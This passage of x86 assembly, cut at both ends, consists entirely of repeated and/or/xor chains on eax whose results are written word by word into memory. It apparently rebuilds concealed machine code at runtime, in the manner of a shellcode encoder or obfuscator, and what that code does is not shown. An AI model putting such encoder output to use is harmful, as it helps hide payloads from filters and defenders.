or eax, 0x35eeda74
and eax, 0x35ee5085
or eax, 0xca112008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a565ef
or eax, 0x338e13af
and eax, 0xc05403ef
or eax, 0x18810
mov dword [ebx], eax
add ebx, edx
xor eax, 0x168a8500
and eax, 0x80010283
or eax, 0x900c000
mov dword [ebx], eax
add ebx, edx
or eax, 0x542d66f6
and eax, 0x8509c055
or eax, 0x820000
mov dword [ebx], eax
add ebx, edx
and eax, 0x3117832e
and eax, 0x1038004
or eax, 0xfefc7f70
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39e2d4b0
and eax, 0x6375fa3
and eax, 0x6100100
or eax, 0xf960843b
mov dword [ebx], eax
add ebx, edx
and eax, 0x321f57df
or eax, 0xf7ba3c5
and eax, 0xa79a7df
or eax, 0x40045820
mov dword [ebx], eax
add ebx, edx
and eax, 0x5855ae18
and eax, 0x8140c08
or eax, 0x33a84183
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b45c73f
or eax, 0x2b03e94
and eax, 0x234340d
or eax, 0x40498040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e6236f8
and eax, 0x18180081
or eax, 0x23a0550a
mov dword [ebx], eax
add ebx, edx
and eax, 0x362742b7
and eax, 0x32204001
or eax, 0x85db454
mov dword [ebx], eax
add ebx, edx
and eax, 0x667a877c
and eax, 0x22300400
or eax, 0x1180418b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5138a822
or eax, 0x469cd5b6
and eax, 0x2214c005
or eax, 0x10600040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x578f513
and eax, 0x10c0502
or eax, 0x88f04889
mov dword [ebx], eax
add ebx, edx
or eax, 0x66b0d492
and eax, 0x6b6b0bfd
and eax, 0x6b680889
or eax, 0x94976404
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33cb2bb
and eax, 0x45178948
and eax, 0x44018800
or eax, 0x905403ff
mov dword [ebx], eax
add ebx, edx
xor eax, 0x134b0c04
and eax, 0xc7088589
or eax, 0x38601000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x701dad47
xor eax, 0x739b00dd
and eax, 0x448a3813
or eax, 0x101c7ec
mov dword [ebx], eax
add ebx, edx
and eax, 0x32071d5
and eax, 0x10001d4
or eax, 0xe88200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x709a1c0
xor eax, 0x3ac646bc
and eax, 0x8044488
or eax, 0x83d00101
mov dword [ebx], eax
add ebx, edx
or eax, 0x62891a05
or eax, 0x743267bf
and eax, 0xffff6c8d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x205d4c7f
and eax, 0x688d28ff
or eax, 0x1300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b4c8c30
and eax, 0x41c1b7cf
or eax, 0x3c3e4830
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55fcfbc4
or eax, 0x61ccc1df
and eax, 0x68458109
or eax, 0x84100a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29ed1067
and eax, 0x81008202
or eax, 0x8014081
mov dword [ebx], eax
add ebx, edx
or eax, 0x353de74
xor eax, 0xa878072
and eax, 0x1c04c05
or eax, 0x3e29a050
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e1fc6a4
or eax, 0x22f62e30
and eax, 0xaffee34
or eax, 0x810011ca
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e4c0a21
and eax, 0x2421c045
or eax, 0xa0c0800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26233887
or eax, 0x20c7ed4
and eax, 0x8000044
or eax, 0x81000101
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cc7448b
and eax, 0x671fb398
and eax, 0x5030000
or eax, 0x4888c845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d917e08
or eax, 0x15852110
and eax, 0xd0318
or eax, 0xc84000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6ae08e81
xor eax, 0x7593811c
and eax, 0x8b380c81
or eax, 0x60804108
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d82bced
and eax, 0xb8108909
or eax, 0x450200
mov dword [ebx], eax
add ebx, edx
or eax, 0x74d213f1
and eax, 0x88018281
or eax, 0x1004002
mov dword [ebx], eax
add ebx, edx
and eax, 0x5efecc82
and eax, 0x8000
or eax, 0x458b3855
mov dword [ebx], eax
add ebx, edx
and eax, 0x166b5902
or eax, 0x71f6db1a
and eax, 0x40451b18
or eax, 0x800020a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x182f8b52
and eax, 0x488ba0ba
and eax, 0
or eax, 0x5628d0f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64bfced1
and eax, 0x41890000
or eax, 0xc020000
mov dword [ebx], eax
add ebx, edx
or eax, 0x25e3986
and eax, 0x4c4d2184
or eax, 0xb0000250
mov dword [ebx], eax
add ebx, edx
xor eax, 0x376b31a7
xor eax, 0x37d55e45
and eax, 0xfc600c00
or eax, 0x3048189
mov dword [ebx], eax
add ebx, edx
and eax, 0x36e4f583
and eax, 0x14008581
or eax, 0x418b7a7e
mov dword [ebx], eax
add ebx, edx
and eax, 0x275f2f44
or eax, 0x5a7d47bf
and eax, 0x16a03fc
or eax, 0x808000
mov dword [ebx], eax
add ebx, edx
or eax, 0x789f559d
and eax, 0x7849ce62
and eax, 0x484400
or eax, 0x83b41189
mov dword [ebx], eax
add ebx, edx
xor eax, 0xfad662c
and eax, 0x8c5120a5
or eax, 0x73ae4418
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cda7551
and eax, 0x297400fd
or eax, 2
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa921a25
xor eax, 0x4221b3c4
and eax, 0x21c0010a
or eax, 0xa384481
mov dword [ebx], eax
add ebx, edx
and eax, 0x46114e14
and eax, 0x4000
or eax, 0x85898845
mov dword [ebx], eax
add ebx, edx
or eax, 0x4f554ed4
and eax, 0x16ffae6e
and eax, 0x6dd8e40
or eax, 0xf9227120
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d4dad2d
and eax, 0x83f84d09
or eax, 0x82
mov dword [ebx], eax
add ebx, edx
and eax, 0x60cb7698
or eax, 0x6e845013
and eax, 0x4c880089
or eax, 0x1010160
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c6238be
and eax, 0x60a901f8
or eax, 0x148200
mov dword [ebx], eax
add ebx, edx
or eax, 0x34b7b4fb
or eax, 0x287455e5
and eax, 0xfff7ff
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
and eax, 0x245332a9
and eax, 0x30220
or eax, 0x55880954
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a6b0e28
and eax, 0x40010a00
or eax, 0x845401d8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x198583f8
xor eax, 0x22db05bd
and eax, 0x7c000519
or eax, 0xf45022
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52627daa
and eax, 0x5fb2e915
and eax, 0x800
or eax, 0xd045830c
mov dword [ebx], eax
add ebx, edx
and eax, 0x3189c32f
and eax, 0x108
or eax, 0xff44433
mov dword [ebx], eax
add ebx, edx
or eax, 0x579eb055
and eax, 0x33ae21d5
and eax, 0x20005
or eax, 0x1e88
mov dword [ebx], eax
add ebx, edx
or eax, 0x364aad3e
and eax, 0x2af90107
and eax, 0x20480100
or eax, 0xd4058a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41b0cc52
and eax, 0x34cc4502
or eax, 0x40000801
mov dword [ebx], eax
add ebx, edx
and eax, 0x70e48b39
xor eax, 0x42253928
and eax, 0x10410008
or eax, 0xc8148b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70c6ba6b
or eax, 0x4d9ac0c5
and eax, 0x6c985123
or eax, 0x10640418
mov dword [ebx], eax
add ebx, edx
and eax, 0x4bdf231d
and eax, 0x48440108
or eax, 0x94018a22
mov dword [ebx], eax
add ebx, edx
and eax, 0x4fbd30c0
and eax, 0x8000000
or eax, 0x33f0452b
mov dword [ebx], eax
add ebx, edx
and eax, 0x38a55b0d
and eax, 0x8004001
or eax, 0x850fac44
mov dword [ebx], eax
add ebx, edx
or eax, 0x39569b55
and eax, 0x2b44f839
and eax, 0x11
or eax, 0x1ee
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c7f29e
and eax, 0x280418b
or eax, 0x1300c00
mov dword [ebx], eax
add ebx, edx
or eax, 0x10fb62b6
and eax, 0x534d3f7f
and eax, 0x9280d
or eax, 0x8406d040
mov dword [ebx], eax
add ebx, edx
or eax, 0xc096632
and eax, 0x73
or eax, 0x180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29a12aec
or eax, 0x1a547f2f
and eax, 0x2bd4550b
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
and eax, 0x51deb87
and eax, 0x1104001
or eax, 0x542ba454
mov dword [ebx], eax
add ebx, edx
and eax, 0x78ccfdd8
and eax, 0x40080440
or eax, 0xa4850bac
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33fa2094
and eax, 0x83000000
or eax, 0x8000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x42751a0f
or eax, 0xe93c13c
and eax, 0x45338805
or eax, 0x2440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x654de7c
or eax, 0x6ba1a5a8
and eax, 0x488407b0
or eax, 0x90000800
mov dword [ebx], eax
add ebx, edx
and eax, 0x2919134e
and eax, 0x2bfd80f6
and eax, 0x8000000
or eax, 0x83000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x40e19ba8
and eax, 0x89819009
or eax, 0x4086444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e0ab14
and eax, 0x8e695f58
or eax, 0x7196a004
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f7a8fe
and eax, 0xd00008
or eax, 0x89085583
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c197378
or eax, 0x6bdb8b3a
and eax, 0xefdb5891
or eax, 0x10240004
mov dword [ebx], eax
add ebx, edx
or eax, 0x43f21032
xor eax, 0x516fd369
and eax, 0x88008bde
or eax, 0x50450021
mov dword [ebx], eax
add ebx, edx
xor eax, 0x758b67e6
and eax, 0x8900e801
or eax, 0x10082
mov dword [ebx], eax
add ebx, edx
or eax, 0x365a842
and eax, 0x8901c841
or eax, 0x48a1004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x181fd7a
or eax, 0x7e7ffeae
and eax, 0xfe7fff1c
or eax, 0x1800040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c415f46
and eax, 0x9318801a
or eax, 0x6c400d21
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f9de7e1
and eax, 0xd088521
or eax, 0x80077ade
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e29eec
and eax, 0x2f21ac4b
and eax, 0xb
or eax, 0x1a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x60eb9bae
and eax, 0x7a4c4a18
and eax, 0x20480008
or eax, 0x1ba45583
mov dword [ebx], eax
add ebx, edx
and eax, 0x75ae971d
and eax, 0x10c1401
or eax, 0x8c03a854
mov dword [ebx], eax
add ebx, edx
and eax, 0x28637c7e
xor eax, 0x4ac92f58
and eax, 0x10c
or eax, 0x93
mov dword [ebx], eax
add ebx, edx
xor eax, 0x49061a1
and eax, 0x90400a
or eax, 0x83600581
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e73d2d7
and eax, 0x458101c8
or eax, 0x80020
mov dword [ebx], eax
add ebx, edx
or eax, 0x40952889
xor eax, 0x111443fb
and eax, 0x40090a10
or eax, 0xa04481e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x48376195
or eax, 0x757189b1
and eax, 0xfd548981
or eax, 0x2000408
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fef5249
and eax, 0x16d56c01
and eax, 0x4000001
or eax, 0x518bfffe
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c7d25e1
or eax, 0x50efc4fd
and eax, 0x509588f0
or eax, 0x100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4852311c
or eax, 0x523180df
and eax, 0xaf7b8ff
or eax, 0x81084700
mov dword [ebx], eax
add ebx, edx
and eax, 0x2354c898
or eax, 0x5e6a3434
and eax, 0x4802e004
or eax, 0xa0810041
mov dword [ebx], eax
add ebx, edx
and eax, 0x2800820a
and eax, 0x18c57d3f
and eax, 0
or eax, 0xe0458901
mov dword [ebx], eax
add ebx, edx
or eax, 0x73a84fd9
and eax, 0x199852a1
and eax, 0x11000081
or eax, 0xee548d0a
mov dword [ebx], eax
add ebx, edx
and eax, 0x67bc2243
and eax, 0x5100003
or eax, 0x882bfffc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x190eaa21
and eax, 0x12167e47
and eax, 0x10145440
or eax, 0xefebab10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a3135b2
or eax, 0xcd08291
and eax, 0x1488803
or eax, 0x21050c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f7068e6
and eax, 0x15090000
or eax, 0x40820000
mov dword [ebx], eax
add ebx, edx
or eax, 0xf295b72
or eax, 0x74a174a
and eax, 0x50411b78
or eax, 0x80142084
mov dword [ebx], eax
add ebx, edx
and eax, 0x24442112
and eax, 0x440100
or eax, 0x1198c0f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5bb10301
xor eax, 0x53cf3b4a
and eax, 0x1030000
or eax, 0x44880000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b3d43c5
xor eax, 0x10c88bbd
and eax, 0x10410bb0
or eax, 0xa0043040
mov dword [ebx], eax
add ebx, edx
or eax, 0x66e7325a
xor eax, 0x678176fd
and eax, 0x1020c05
or eax, 0x4c892078
mov dword [ebx], eax
add ebx, edx
xor eax, 0x648eaca3
and eax, 0x280500d8
or eax, 0xd0482b00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x363681f6
or eax, 0x7dec5327
and eax, 0xff4c8909
or eax, 0x480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2fe69fca
and eax, 0x4510b523
and eax, 0x40001003
or eax, 0x158beffc
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f53b4e7
xor eax, 0x3ecef988
and eax, 0x40150060
or eax, 0x8808988
mov dword [ebx], eax
add ebx, edx
xor eax, 0x610789e9
and eax, 0x9920001
or eax, 0x826dfffe
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b55f7e3
xor eax, 0x667703b2
and eax, 0x8880f845
or eax, 0x60030000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33e47dc4
xor eax, 0x27b7b3bd
and eax, 0xf8400000
or eax, 0x58901
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b6370f0
and eax, 0x68400000
or eax, 0x970c8d8b
mov dword [ebx], eax
add ebx, edx
and eax, 0x4e5cfe8c
and eax, 0xc088c88
or eax, 0x81337377
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9644386
and eax, 0x845fbc48
or eax, 0x7ba04300
mov dword [ebx], eax
add ebx, edx
and eax, 0x5afe2d9
and eax, 0x68223a3e
and eax, 0x22008
or eax, 0x55891174
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f2eb69e
and eax, 0x18283e0
or eax, 0x400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2dd16188
and eax, 0x4e522965
and eax, 0x8400100
or eax, 0x83a05489
mov dword [ebx], eax
add ebx, edx
or eax, 0x127a1c81
and eax, 0x36c7cb88
and eax, 0x824800
or eax, 0xc001b445
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f1a18f5
and eax, 0xec018801
or eax, 0x10440100
mov dword [ebx], eax
add ebx, edx
or eax, 0x3fcaa8ff
and eax, 0x3a2f7d21
and eax, 0x2000901
or eax, 0x1e0448a
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a4379e3
xor eax, 0x7053c7b7
and eax, 0x4930b84c
or eax, 0x40b4401
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11e11e58
and eax, 0x8106014
or eax, 0x83041ce0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6935a488
xor eax, 0xea201e9
and eax, 0x5320441
or eax, 0x5009d014
mov dword [ebx], eax
add ebx, edx
or eax, 0xbd68636
and eax, 0xb0c5444
or eax, 0x80002888
mov dword [ebx], eax
add ebx, edx
or eax, 0x279b9692
xor eax, 0x13c70e09
and eax, 0x400c045
or eax, 0x41230400
mov dword [ebx], eax
add ebx, edx
and eax, 0x620f2292
and eax, 0x40000000
or eax, 0xb8840fb4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c9f6e59
and eax, 0x80000000
or eax, 0xb000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x41752de4
and eax, 0x1000000
or eax, 0xae0fd04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x27f190a0
xor eax, 0x2ad1af02
and eax, 0x52a784d
or eax, 0x48118000
mov dword [ebx], eax
add ebx, edx
and eax, 0x17b7c06e
and eax, 0x10000
or eax, 0xe88c0fb0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c9f6906
and eax, 0xe16776f
and eax, 0x8000000
or eax, 0x83000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65260f66
xor eax, 0x34a84a0b
and eax, 0xc2824445
or eax, 0x18810
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d6e96c2
or eax, 0x7385c190
and eax, 0x40058100
or eax, 0x8c500801
mov dword [ebx], eax
add ebx, edx
and eax, 0x454757bc
or eax, 0x6c4fe8a
and eax, 0x284458a
or eax, 0x39280001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2dda6336
and eax, 0x4060405
or eax, 0x8909c840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9eb7382
and eax, 0xc3
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b5a813e
and eax, 0x2340018b
or eax, 0x10844c00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65d78c44
and eax, 0x403c04d
or eax, 0x800c3400
mov dword [ebx], eax
add ebx, edx
and eax, 0x4167331a
or eax, 0x6a550f22
and eax, 2
or eax, 0xc5
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5501d193
and eax, 0x1005100
or eax, 0x22c4048b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x336bba6c
xor eax, 0x5839db92
and eax, 0x60055
or eax, 0x8409c800
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c10c90e
and eax, 0x3aee8236
and eax, 0
or eax, 0xbb
mov dword [ebx], eax
add ebx, edx
and eax, 0x32690861
and eax, 1
or eax, 0x89e4458a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b882cc9
and eax, 0x926c4000
or eax, 0x6d930485
mov dword [ebx], eax
add ebx, edx
and eax, 0x48763e8a
and eax, 0x48440080
or eax, 0xa0098b7f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44d0c863
and eax, 0xac000188
or eax, 0x53408c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0xeee3c4f
and eax, 0x18a9cc09
and eax, 0x10888000
or eax, 0x45037fff
mov dword [ebx], eax
add ebx, edx
or eax, 0x68ec497e
and eax, 0x1ea83e8
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x40e0c0dd
xor eax, 0x20fa6426
and eax, 0x1000589
or eax, 0x8ae85000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e3f77c7
and eax, 0xa284481
or eax, 0xf5d70004
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc2d1c09
and eax, 0x4080188c
or eax, 0x52373
mov dword [ebx], eax
add ebx, edx
or eax, 0x714b0195
xor eax, 0x63af5257
and eax, 0x26069a8
or eax, 0xd9f9657
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16fb526f
and eax, 0x8c80
or eax, 0x20d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22c9f759
and eax, 0x2db14b02
and eax, 0x10900
or eax, 0xd04c8200
mov dword [ebx], eax
add ebx, edx
or eax, 0x66df0a34
and eax, 0x6ff002d1
and eax, 0x6c00010
or eax, 0x9204d2b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x202a53d2
xor eax, 0x67d738e
and eax, 5
or eax, 0x8288
mov dword [ebx], eax
add ebx, edx
and eax, 0x33977e19
and eax, 0x200
or eax, 0xfc558900
mov dword [ebx], eax
add ebx, edx
and eax, 0x44194de7
and eax, 0x44100100
or eax, 0x39cc543b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f1669f9
and eax, 0x40400842
or eax, 0x94058338
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c315fa8
xor eax, 0x76ab4642
and eax, 0x14d00000
or eax, 0x60004523
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f55c0f0
or eax, 0x57252d3f
and eax, 0x78058972
or eax, 0x80480200
mov dword [ebx], eax
add ebx, edx
or eax, 0x468252e9
and eax, 0x211b392a
and eax, 0x2000092a
or eax, 0x54f44401
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f7065aa
and eax, 0x2450012a
or eax, 0xd8058a40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x591fbf29
and eax, 0x81002003
or eax, 0x801ca80
mov dword [ebx], eax
add ebx, edx
and eax, 0x65a8163f
and eax, 0x448dbcd9
and eax, 1
or eax, 0x458bfc54
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fde7a9f
and eax, 0x40003814
or eax, 0x904503e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x1851412
and eax, 0x24b5ea05
and eax, 0x10000
or eax, 0x4d8a0b7c
mov dword [ebx], eax
add ebx, edx
or eax, 0x5a20c2de
and eax, 0x33f6921f
and eax, 0x1000020c
or eax, 0xe44d31e0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bd6f5af
and eax, 0x7dc8452b
or eax, 0x810
mov dword [ebx], eax
add ebx, edx
and eax, 0x603e207e
xor eax, 0x57f59748
and eax, 0x24558342
or eax, 0xc000080c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29edf830
and eax, 0x8010230e
or eax, 0x30458c01
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b8f8bd1
and eax, 0x4998041a
or eax, 0x34245121
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e2aa032
and eax, 0x48048102
or eax, 0x80410a40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f0165f1
xor eax, 0xba8bbad
and eax, 0x6cc4451a
or eax, 0x10100021
mov dword [ebx], eax
add ebx, edx
and eax, 0x14918818
and eax, 0x10
or eax, 0xe04d8b21
mov dword [ebx], eax
add ebx, edx
or eax, 0x6decdc87
and eax, 0x7864bf27
and eax, 0x68600d23
or eax, 0x15884018
mov dword [ebx], eax
add ebx, edx
or eax, 0xee0dc85
or eax, 0x5fec5a26
and eax, 0x1c44c709
or eax, 0x80010000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b1626c1
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5bac2fe9
xor eax, 0x3fa20cb6
and eax, 0x4406034b
or eax, 0x1c104a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x530f8480
and eax, 0x9da463b
and eax, 8
or eax, 0x94
mov dword [ebx], eax
add ebx, edx
or eax, 0x32e97f06
and eax, 0x30410b00
or eax, 0xc0148000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3584a351
and eax, 0x44900001
or eax, 0x300c550a
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fe328b0
and eax, 0x4000000
or eax, 0xc0458b1a
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b1f1f41
and eax, 0x10000
or eax, 0x8900c083
mov dword [ebx], eax
add ebx, edx
and eax, 0x687a2ea1
and eax, 0x8000001
or eax, 0x458bc444
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa29995f
and eax, 0x44001918
or eax, 0x804d22e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ba73f3e
xor eax, 0x43ad6dd0
and eax, 0x4030914
or eax, 0x51880069
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ab9f750
and eax, 0x182837c
or eax, 0x400080
mov dword [ebx], eax
add ebx, edx
and eax, 0x64506f56
and eax, 0x400100
or eax, 0x8bbc5489
mov dword [ebx], eax
add ebx, edx
xor eax, 0x428b12f0
and eax, 0xc0034041
or eax, 0x80a804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5746123c
and eax, 0x80458801
or eax, 0x68000100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6a7d3192
or eax, 0x1836c5e8
and eax, 0x344588
or eax, 0x83800803
mov dword [ebx], eax
add ebx, edx
and eax, 0x73ff815f
and eax, 0x1800101
or eax, 0x4c0900c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x16d55795
and eax, 0x10180
or eax, 0xe8548a34
mov dword [ebx], eax
add ebx, edx
and eax, 0x25324dec
and eax, 0x20000120
or eax, 0x5dac541b
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c39ff97
and eax, 0x18004501
or eax, 0x80458208
mov dword [ebx], eax
add ebx, edx
and eax, 0x1b5e3cf4
xor eax, 0x38b8fcdd
and eax, 1
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x51b54d91
and eax, 0x41850581
or eax, 0x442026a
mov dword [ebx], eax
add ebx, edx
and eax, 0x1f2555e2
and eax, 0x80
or eax, 0x18
mov dword [ebx], eax
add ebx, edx
and eax, 0x4fd28b67
and eax, 0
or eax, 0xbc458b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a7d3a9c
and eax, 0xe180110
or eax, 0x1804423
mov dword [ebx], eax
add ebx, edx
and eax, 0x28cba880
and eax, 0
or eax, 0xc084
mov dword [ebx], eax
add ebx, edx
and eax, 0x70fb46e2
and eax, 0
or eax, 0xf84d8b00
mov dword [ebx], eax
add ebx, edx
or eax, 0x12fa0907
and eax, 0xfa3c8901
or eax, 0x5000488
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10bb0ca8
and eax, 0x45838121
or eax, 0x10087ede
mov dword [ebx], eax
add ebx, edx
or eax, 0x1591f390
and eax, 0x109189ac
or eax, 0x28040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x128ad855
and eax, 0xa9fd9fd
or eax, 0x81602602
mov dword [ebx], eax
add ebx, edx
and eax, 0x43d44414
and eax, 0x804004
or eax, 0xc003b841
mov dword [ebx], eax
add ebx, edx
and eax, 0x47d7cba7
and eax, 0x40018801
or eax, 0xb8440100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c537f72
and eax, 0x5ac7d4e2
and eax, 0x40048402
or eax, 0xbf380989
mov dword [ebx], eax
add ebx, edx
and eax, 0x767b29d1
and eax, 0x4380981
or eax, 0x8903f67e
mov dword [ebx], eax
add ebx, edx
or eax, 0x789fe334
or eax, 0x6edb2c06
and eax, 0xffffff38
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b9e94d2
and eax, 0x5dadb142
and eax, 0x808000
or eax, 0x130d0f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x687ba6db
and eax, 0x40880000
or eax, 0x15030000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a65b3c3
and eax, 0x404503c0
or eax, 0xa010002c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a26086b
and eax, 0x7000f
or eax, 0x808400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x476b34dd
and eax, 0x45880000
or eax, 0x30000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d69f75e
xor eax, 0x4ea36d39
and eax, 0x800938
or eax, 0x340580c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5864f564
and eax, 0x23386279
and eax, 0x206018
or eax, 0x8bdf9fe7
mov dword [ebx], eax
add ebx, edx
or eax, 0x37701da4
and eax, 0x8d89cc4d
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x6068b8a3
or eax, 0x56b269f3
and eax, 0xfffbfd30
or eax, 0x40200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x420594
xor eax, 0x3fd932d6
and eax, 0x80444002
or eax, 0x3881589
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ad72176
and eax, 0x518901c2
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b921c8a
or eax, 0x758af822
and eax, 0x348189c8
or eax, 0x40204
mov dword [ebx], eax
add ebx, edx
and eax, 0x7854a941
and eax, 0x7833362
and eax, 0x140
or eax, 0x3bfffebf
mov dword [ebx], eax
add ebx, edx
xor eax, 0xaebd986
and eax, 0x28d5d58d
and eax, 0x20140001
or eax, 0xdfeb3084
mov dword [ebx], eax
add ebx, edx
and eax, 0x13cbb9be
and eax, 0x1b7a1fb
and eax, 0x1022080
or eax, 0x8a5c5d7f
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1fcad344
and eax, 0x1373229e
and eax, 8
or eax, 0x4d03d845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1440f985
and eax, 0x90321c8
or eax, 0x82205414
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c70f701
and eax, 0x205400
or eax, 0x551b8055
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcd97d13
and eax, 0x9022840
or eax, 0x82195490
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d60946
and eax, 0x1020840
or eax, 0x4401e405
mov dword [ebx], eax
add ebx, edx
and eax, 0x2730c63
and eax, 0x30440
or eax, 0x8b0870b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x1af97cb9
and eax, 0x9037049
or eax, 0x44008004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a8f9023
and eax, 0x140c2064
